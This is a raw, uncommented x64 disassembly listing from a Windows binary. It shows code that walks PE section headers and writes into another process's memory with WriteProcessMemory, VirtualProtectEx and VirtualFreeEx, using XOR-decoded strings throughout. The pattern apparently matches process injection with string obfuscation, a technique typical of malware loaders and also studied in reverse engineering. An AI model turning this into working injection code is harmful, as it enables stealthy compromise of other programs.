xor byte [rbp - 0x53], 0x4b
mov byte [rbp - 0x54], al
sub r8, rdi
mov rax, rdi
mov byte [rbp - 0x58], 0x2e
mov byte [rbp - 0x52], cl
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140276183
inc rax
test ecx, ecx
jne 0x140276170
test edx, edx
jne 0x14027676e
mov eax, dword [0x1402ac780]
mov r9d, ebx
movups xmm0, xmmword [0x1402ac770]
mov esi, dword [0x1402bd008]
mov dword [rsp + 0x78], eax
movzx eax, word [0x1402ac784]
mov word [rsp + 0x7c], ax
movzx eax, byte [0x1402ac786]
mov byte [rsp + 0x7e], al
movups xmmword [rsp + 0x68], xmm0
cmp esi, 2
jl 0x1402763e1
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad170]
movdqa xmm7, xmmword [0x1402ad180]
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [0x1402ad0d0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax + rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x10
jl 0x140276220
cmp r9d, 0x17
jge 0x140276440
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x41
xor byte [r10 - 1], cl
cmp r9d, 0x17
jl 0x1402763f0
mov rdx, rdi
lea rcx, [rsp + 0x68]
call fcn.140202680
mov edx, dword [rdi + 0xc]
mov rcx, r13
add rdx, qword [rbp - 0x50]
mov r9d, dword [rdi + 8]
mov r8, qword [rsp + 0x50]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140276750
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x1402ac6b5], bl
mov r11d, eax
movups xmm0, xmmword [0x1402ac698]
mov ecx, dword [0x1402ac6b0]
mov dword [rbp - 0x80], ecx
movzx ecx, word [0x1402ac6b4]
movups xmmword [rsp + 0x68], xmm0
mov word [rbp - 0x7c], cx
movsd xmm0, qword [0x1402ac6a8]
movsd qword [rsp + 0x78], xmm0
je 0x140276740
mov r9d, ebx
cmp esi, 2
jl 0x1402766e1
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad170]
movdqa xmm7, xmmword [0x1402ad180]
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [0x1402ad0d0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax]
nop word [rax + rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm4, xmm5
pmuldq xmm0, xmm6
movdqa xmm2, xmm4
pmuldq xmm1, xmm7
pmuldq xmm2, xmm6
pmuldq xmm4, xmm7
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm5
shufps xmm4, xmm1, 0xdd
psrad xmm2, xmm10
psubd xmm4, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x18
jl 0x140276520
cmp r9d, 0x1e
jge 0x140276740
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x41
xor byte [r10 - 1], cl
cmp r9d, 0x1e
jl 0x1402766f0
mov r8d, r11d
lea rcx, [rsp + 0x68]
mov rdx, rdi
call fcn.140202680
movzx r10d, word [0x1402ac588]
movzx esi, byte [0x1402ac58a]
mov r11d, dword [str.o165K]
movzx r9d, word [0x1402ac78c]
mov ecx, dword [rbp + 0x50]
mov rax, qword [rbp - 0x38]
inc ecx
add rdi, 0x28
mov dword [rbp + 0x50], ecx
movzx eax, word [rax + 6]
cmp ecx, eax
jne 0x1402760d0
movzx ecx, ax
mov rdi, qword [rbp - 0x38]
mov dword [rbp + 0x50], ebx
movzx eax, word [rdi + 0x14]
add rdi, 0x18
add rdi, rax
test cx, cx
je 0x140276d91
mov edx, 0x20
nop dword [rax]
mov ecx, dword [rdi + 8]
test ecx, ecx
je 0x140276d75
mov eax, dword [rdi + 0x24]
mov dword [rbp + 0x58], ebx
test eax, 0x80000000
jbe 0x1402767cf
mov esi, 4
jmp 0x1402767dc
test eax, 0x20000000
mov esi, 2
cmova esi, edx
mov edx, dword [rdi + 0xc]
lea rax, [rbp + 0x58]
add rdx, qword [rbp - 0x50]
mov r8, rcx
mov r9d, esi
mov qword [rsp + 0x20], rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r9d, ebx
test eax, eax
je 0x140276aba
cmp dword [0x1402bd008], 2
mov eax, dword [0x1402ac768]
movups xmm0, xmmword [str.23__ot_u____]
mov dword [rsp + 0x78], eax
movzx eax, word [0x1402ac76c]
mov word [rsp + 0x7c], ax
movzx eax, byte [0x1402ac76e]
mov byte [rsp + 0x7e], al
movups xmmword [rsp + 0x68], xmm0
jl 0x140276a52
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad170]
movdqa xmm7, xmmword [0x1402ad180]
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [0x1402ad0d0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
psrad xmm4, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm5
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm4, xmm5
pmuldq xmm0, xmm6
movdqa xmm2, xmm4
pmuldq xmm1, xmm7
pmuldq xmm4, xmm7
pmuldq xmm2, xmm6
shufps xmm4, xmm1, 0xdd
shufps xmm2, xmm0, 0xdd
psubd xmm4, xmm5
psrad xmm2, xmm10
movdqa xmm0, xmm5
psrad xmm4, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x10
jl 0x140276891
cmp r9d, 0x17
jge 0x140276ab0
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x41
xor byte [r10 - 1], cl
cmp r9d, 0x17
jl 0x140276a60
lea rcx, [rsp + 0x68]
jmp 0x140276d65
cmp dword [0x1402bd008], 2
movups xmm0, xmmword [0x1402ac618]
movzx eax, byte [0x1402ac638]
movups xmm1, xmmword [0x1402ac628]
mov byte [rbp - 0x78], al
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x78], xmm1
jl 0x140276d01
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad170]
movdqa xmm7, xmmword [0x1402ad180]
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [0x1402ad0d0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop word [rax + rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x20
jl 0x140276b40
cmp r9d, 0x21
jge 0x140276d60
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x41
xor byte [r10 - 1], cl
cmp r9d, 0x21
jl 0x140276d10
lea rcx, [rsp + 0x68]
mov r8d, esi
mov rdx, rdi
call fcn.140202680
mov edx, 0x20
mov ecx, dword [rbp + 0x50]
add rdi, 0x28
mov rax, qword [rbp - 0x38]
inc ecx
mov dword [rbp + 0x50], ecx
movzx eax, word [rax + 6]
cmp ecx, eax
jne 0x1402767b0
mov rcx, qword [rbp - 0x38]
mov r9d, 2
mov rdx, qword [rbp - 0x50]
mov dword [rbp + 0x5c], ebx
movzx eax, word [rcx + 0x14]
mov r8d, dword [rax + rcx + 0x24]
lea rax, [rbp + 0x5c]
mov rcx, r13
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rdi, qword [rbp - 0x40]
mov r9d, 0x1000
mov r8, qword [rsp + 0x50]
mov rdx, rdi
mov rcx, r13
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14027709a
movups xmm1, xmmword [0x1402ac748]
movups xmm0, xmmword [0x1402ac738]
movups xmmword [rsp + 0x78], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rsp + 0x68], xmm0
test al, al
je 0x140277090
cmp dword [0x1402bd008], 2
jl 0x14027702b
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x1402ad0a0]
mov edx, ebx
movdqa xmm6, xmmword [0x1402ad170]
movdqa xmm7, xmmword [0x1402ad180]
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [0x1402ad0d0]
movdqa xmmword [rsp + 0x40], xmm0
mov r8d, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop
movd xmm5, edx
lea eax, [rdx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, r8d
add edx, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp edx, 0x20
jl 0x140276e70
jmp 0x140277090
lea r10, [rsp + 0x68]
mov r9d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x41
xor byte [r10 - 1], cl
cmp r9d, 0x20
jl 0x140277040
lea rcx, [rsp + 0x68]
call fcn.140202680
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edi, dword [0x1402bd008]
test eax, eax
jne 0x14027737a
movzx eax, word [0x1402ac8d0]
mov r9d, ebx
mov word [rbp - 0x70], ax
movups xmm0, xmmword [0x1402ac8a8]
movups xmm1, xmmword [0x1402ac8b8]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x1402ac8c8]
movsd qword [rbp - 0x78], xmm0
movups xmmword [rsp + 0x78], xmm1
cmp edi, 2
jl 0x140277311
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad170]
movdqa xmm7, xmmword [0x1402ad180]
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [0x1402ad0d0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop word [rax + rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x28
jl 0x140277150
cmp r9d, 0x2a
jge 0x140277370
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x41
xor byte [r10 - 1], cl
cmp r9d, 0x2a
jl 0x140277320
lea rcx, [rsp + 0x68]
call fcn.140202680
mov rdx, qword [rbp - 0x48]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
jne 0x140277644
mov eax, dword [0x1402ac8a0]
mov dword [rbp - 0x70], eax
